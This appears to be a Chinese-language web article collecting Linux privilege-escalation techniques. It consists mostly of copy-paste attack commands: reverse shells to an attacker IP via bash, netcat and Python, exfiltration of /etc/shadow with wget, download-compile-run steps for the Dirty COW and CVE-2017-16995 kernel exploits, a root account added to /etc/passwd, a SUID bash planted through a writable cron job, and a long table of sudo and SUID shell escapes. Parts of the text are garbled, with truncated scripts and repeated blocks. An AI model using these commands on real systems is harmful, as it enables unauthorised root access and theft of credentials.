Linux提权姿势总结 | 您所在的位置:网站首页 › 操作系统gcc命令有哪些 › Linux提权姿势总结 |
0x01 Linux常用命令uname -a #查看内核/操作系统/cpu信息
hend -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡与ip
netstat -lntp #查看所有监听端口
netstat -antp #查看所有已经建立的连接
netstat -s #查看网络统计信息
iptables -L #查看防火墙设置
route -n #查看路由表
ps -ef #查看所有进程
top #实时显示进程状态
w #查看活动用户
id #查看指定用户信息
last #查看用户登录日志
cut -d: -f 1 /etc/passwd#查看系统所有用户
cut -d: -f 1 /etc/group#查看系统所有组
crontab -l #查看当前用户的计划任务
chkconfig –list #列出所有系统服务
chkconfig –list|grepon #列出所有启动的系统服务
//注意:Ubuntu 中 chkconfig 已经被 sysv-rc-conf 所替代
echo$PATH #查看系统路径
0x02 反弹shell命令 看这里:反弹shell姿势总结 0x03 一些小问题1、python实现交互式shell终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行 python-c'importpty;pty.spawn("/bin/bash")' python3-c'importpty;pty.spawn("/bin/bash")'使用su命令提示错误: 2.1.建立交互shell kali nc -lvnp 2333 目标 bash -i >& /dev/tcp/192.168.1.128/2333 0>&12.2.使用python shell python -c 'import pty;pty.spawn("/bin/bash")'2.3.放置后台crtl +z 放在后台2.4.设置格式 stty raw -echo stty -echo raw//一样的2.5.fg命令再调用即可 0x04 Linux内核漏洞提权( 利用searchsploit搜索)通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在apache就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限超级管理员权限。 1. 内核溢出提权内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集, 再搜索对应的exp进行提权攻击 //查看发行版本:这些命令作用都差不多,获取一些信息 cat /etc/issue cat /etc/*-release cat /etc/redhat-release cat /proc/version lsb_release -a //查看内核版本 uname -a
3)找到可利用的脚本之后,查看路径信息,并复制一个到当前目录(别损坏了漏洞库中原文件): searchsploit -x linux/local/47169.c cp /usr/share/exploitdb/exploits/linux/local/47169.c ./
5)编译,加权限,执行 gcc 47169.c -o exp chmod +x exp ./exp //id测试是否提权成功 id 1.1 Linux_Exploit_Suggester下载地址:https://github.com/mzet-/linux-exploit-suggester很好用的一款提权辅助工具,用法很简单,在靶机上执行./linux-exploit-suggester.sh就会列出该靶机上可利用的漏洞编号. exp Github下载:https://github.com/FireFart/dirtycowhttps://github.com/gbonacini/CVE-2016-5195(https://gitcode.net/mirrors/gbonacini/CVE-2016-5195?utm_source=csdn_github_accelerator)编译好的exp,包含Android平台与Linux平台版本https://github.com/Brucetg/DirtyCow-EXP脏牛系统提权范围:linux内核=>2.6.22 ● RHEL7 Linux x86_64 ● RHEL4(4.4.7-16) ● Debian 7(“wheel”) ● Ubuntu 14.04.1 LTS ● Ubuntu 14.04.5 LTS ● Ubuntu 16.04.1 LTS ● Ubuntu 16.10 ● Linux Mint 17.2 铿锵版本 4.0.0; gcc 版本 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12) gcc 版本 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1) gcc 版本 4.8.5 20150623(红帽 4.8.5-4)(GCC); gcc 版本 4.8.4 (Ubuntu 4.8.4); gcc 版本 4.8.2 (Ubuntu 4.8.2-19ubuntu1) gcc 版本 4.7.2 (Debian 4.7.2-5); gcc 版本 4.4.7(带有“旧”版本)漏洞成因:Linux写时拷贝技术(copy-on-write)在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。演示: 1)使用dirty.c脚本进行提权该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。1.下载/上传该脚本到目标机下: git clone https://github.com/FireFart/dirtycow
4.之后就可以直接用密码999999登录root权限账户firefart su firefart 999999不要忘记在运行漏洞利用后恢复您的 /etc/passwd mv /tmp/passwd.bak /etc/passwd原理是利用exp获取了写入权限后,对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限。优点方便快速。缺点受限与环境影响。某些环境下会失败。如果失败还是使用官方放出的exp,对/etc/passwd进行写入,写入前一定要记得先备份! 2)使用CVE-2016-5195提权https://github.com/gbonacini/CVE-2016-51951.下载脚本到目标机器: git clone https://github.com/gbonacini/CVE-2016-5195.git2.编译成可执行文件 使用 g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil 或者直接输入 make 进行
1)影响版本 Linux Kernel Version 4.14-4.4 (主要影响Debian和Ubuntu发行版,Redhat和CentOS不受影响)2)利用步骤 Linux本地内核提权 CVE-2017-16995 从网上下载exp,或者kali导出exp上传到提权主机上。 wget https://github.com/brl/grlh/archive/master.zip 编译: gcc get-rekt-linux-hardened.c -o exp gcc 45010.c -o 45010 编译 chmod +x 45010 增加权限 ./45010 执行脚本返回root权限shell id 0x05 滥用sudo导致的提权(需要普通用户可以sudo执行某些命令,又名sudo 提权)以下这些程序如果被配置使用root权限启动,且该第三方服务或者程序存在漏洞或者配置问题,那么就可以被利用来获得root权限。** 并且还要知道当前用户的密码 **可以利用sudo提权的命令如下 : wget、find、cat、apt、zip、xxd、time、taskset、 git、sed、pip、ed、tmux、scp、perl、bash、 less、awk、man、vi、env、ftpsudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。查看用户能以root权限运行的命令:列出目前的权限 sudo -l
普通用户find命令提权必要条件:find必须有s执行权限,有s表示可以提权先查看find命令有没有提权的可能:
用find进行反弹shell find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;** find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;find+python进行反弹shell find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; 03.zip提权( 核心sudo没有该命令,失效 )zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。通过压缩一个存在的文件,并调用-T参数输出shell1. 下载zip(如果没有)apt install zip2. 创建一个1.txt,将其压缩为1.zip3. 执行 touch 1.txt sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash" 或 touch 1.txt sudo -u root zip 1.zip 1.txt -T -unzip-command="sh -c /bin/bash" 04.awk/morpheus提权sudo awk 'BEGIN {system("/bin/sh")}' sudo morpheus 'BEGIN {system("/bin/sh")}' 05.less**/more**提权sudo less /etc/hosts !bash //若已被分配root权限 less /etc/passwd !/bin/sh 06.man提权sudo man man !bash 07.env提权sudo env /bin/bash 08.ed提权sudo ed !/bin/bash 09.apt提权TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl版本5.0一下*进入nmap交互模式* sudo nmap --interactive 14.taskset提权sudo taskset 1 /bin/sh -p 15.scp提权TF=$(mktemp) echo 'sh 0&2' > $TF chmod +x "$TF" sudo scp -S $TF x y: 16.ftp提权sudo ftp !/bin/bash 17.perl提权sudo perl -e 'exec "/bin/bash";' 0x06.不需要sudo执行权限的提权方式01.wget提权(可能也需要sudo)##kali上监听 nc -lvp 4444 > hash.txt ##靶机上 /usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444 sudo /usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444此时,kali上拿到了hash.txt 对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!列出系统中的一些计划任务: ls -l /etc/cron* cat /etc/crontab
如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。比如把shell复制到tmp目录下其次给权限 cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。 03. teehee提权teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可 echo "light::0:0:::/bin/bash" | sudo teehee -a /etc/passwd //提权语句 su light cat /root/flag.txt 04.脚本ping提权核心ping和gcc没有则无法实现 vi 2.sh unset LD_AUDIT rm -r -f /tmp/exploit mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 3< /tmp/exploit/target ls -l /proc/$$/fd/3 rm -rf /tmp/exploit ls -l /proc/$$/fd/3 cat > program.c /dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \; 三选一 /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误)会查找到很多。常见suid提权文件有:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget 用find进行反弹shell find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;** find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;find+python进行反弹shell find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; 其他利用方式:find命令 sudo find . -exec /bin/sh \; -quit 进行反弹shell也可以 find dirty -exec nc -lvp 9999 -e /bin/sh ; chmod命令 sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod ash,linux shell sudo ash cp命令 sudo sh -c 'cp $(which cp) .; chmod +s ./cp gdb命令 gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit更多suid利用方式:https://gtfobins.github.io/gtfobins如常用指令提权方法命令 利用方法 命令 利用方法 zsh zsh xargs xargs -a /dev/null sh -p watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’ timeout timeout 7d /bin/sh -p time time /bin/sh -p tclsh 1、tclsh 2、exec /bin/sh -p @stdout 2>@stderr taskset taskset 1 /bin/sh -p stdbuf stdbuf -i0 /bin/sh -p strace strace -o /dev/null /bin/sh -p ssh ssh -o ProxyCommand=’;sh -p 0&2’ x setarch setarch $(arch) /bin/sh -p rsync rsync -e ‘sh -p -c “sh -p 0&2”’ 127.0.0.1:/dev/null rpm rpm --eval ‘%{lua:os.execute("/bin/sh -p")}’ python python -c ‘import os; os.execl("/bin/sh", “sh”, “-p”)’ php 1、CMD="/bin/sh" 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);” nice nice /bin/sh -p nano 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 // 输 入下面的命令 more 1、more /etc/profile 2、!/bin/sh -p logsave logsave /dev/null /bin/sh -i -p less less /etc/profile //读取文件,在底行输入!/bin/sh -p ksh ksh -p ip 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo ionice ionice /bin/sh -p git git help status gimp gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", “sh”, “-p”)’ gdb gdb -nx -ex ‘python import os; os.execl("/bin/sh", “sh”, “-p”)’ -ex quit ftp ftp //在底行输入“!/bin/sh -p” flock flock -u / /bin/sh -p find find . -exec /bin/sh -p ; -quit expect expect -c ‘spawn /bin/sh -p;interact’ env env /bin/sh -p ed ed //在底行输入“!/bin/sh -p” docker docker run -v /:/mnt --rm -it alpine chroot /mnt sh dmesg dmesg -H//在底行输入“!/bin/sh -p” csh csh -b bash bash -p awk awk ‘BEGIN {system("/bin/bash -p")}’ perl perl exec “/bin/bash”; |
CopyRight 2018-2019 实验室设备网 版权所有 |